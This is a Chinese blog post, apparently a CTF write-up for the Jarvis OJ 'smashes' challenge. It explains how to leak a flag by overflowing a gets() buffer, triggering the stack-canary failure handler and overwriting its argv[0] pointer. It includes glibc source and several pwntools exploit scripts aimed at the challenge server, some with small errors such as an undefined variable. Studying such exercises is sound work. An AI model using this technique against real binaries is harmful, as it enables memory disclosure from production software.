ssp leak

作者: 喝豆腐脑加糖 | 来源:发表于2018-09-11 20:10 被阅读0次

故意触发栈溢出保护。

题目地址:https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229

关于canary对于栈的保护,它的值一旦被改变程序便会结束。后面会把找到的与栈有关的放在一起。

过程:

 文件的堆栈保护开启,随机地址没有的话方便我们对特殊位置进行溢出覆盖。

使用ida加载找到关键部分。

使用了gets函数

很开心的是我们可以通过gets函数进行任意长度的写入。但是因为传入的字符串末尾用 '/n' 结束,没法绕过canary的检测。

 关于canary的值,在最高位都是 '0x00'结束。为的就是如果在canary的上方输入的字符串,一般都是用0截断,如果我们将字符串的空间写满紧挨着canary的位置。那么当输出这个字符串的时候,这个没有截断的canary的值很容易就被打印出来。

example

 在这个程序中没有地方打印出flag的地方,也没办法绕过检测。那么如果故意触发canary的检测,能不能让canary打印出我们要的东西。

 正常情况下当我们触发检测的时候程序会进入检测报错的函数,看下它的源码。

__stack_chk_fail :

void

__attribute__ ((noreturn))

__stack_chk_fail (void) {

__fortify_fail ("stack smashing detected");

}

fortify_fail:

void


__attribute__ ((noreturn))

__fortify_fail (msg)

constchar*msg; {

/* The loop is added only to keep gcc happy. */

while(1)

__libc_message (2,"*** %s ***: %s terminated\n", msg, __libc_argv[0] ?:"")

}

libc_hidden_def (__fortify_fail)


只要我们覆盖掉指向argv[0]的指针,那么就能输出想要的值。

尝试下:

poc 1.0

from pwn import*

//a.process('smaches')

//a= remote('pwn.jarvisoj.com', 9877)

a.recv()

cn.sendline(p64(0x0000000000600D20)*264)

a.recv()

a.sendline()

a.interactive()

可并没有按照我的预期打印出flag,但换成其他的地址都成功打印出来了。

在后来查的时候找到了这道题的blog,https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/?tdsourcetag=s_pctim_aiomsg   里面还有很多canary的总结。

原因是在fun1的末尾有这样一句

   在0x0000000000600D20位置的flag已经被覆盖掉了,这个位置的flag已经找不到了。

 在接下来用的就是ELF的重映射,如果加载的文件体积足够小,那么很有可能在其他地方也被加载。gdb调试,注意断点位置。如果运行到结束地址的数据会被覆盖。继而找不到。

poc2

from pwn import*

context.log_level = 'debug'

a=remote("pwn.jarvisoj.com","9877")

a.recv()

cn.sendline(p64(0x400d20)*264)

a.recv()

a.sendline(‘hello')

a.interactive()

ps:我们要求的只是触发canary保护,所以只要比字符串的栈空间大就行

a = process('pwn_smashes')

a.recv()

a.sendline(p64(0x0000000000400934)*200)#直接用我们所需的地址占满整个栈

a.recv()

a.sendline()

a.recv()

相关文章

网友评论

      本文标题:ssp leak

      本文链接:https://www.haomeiwen.com/subject/dlarlftx.html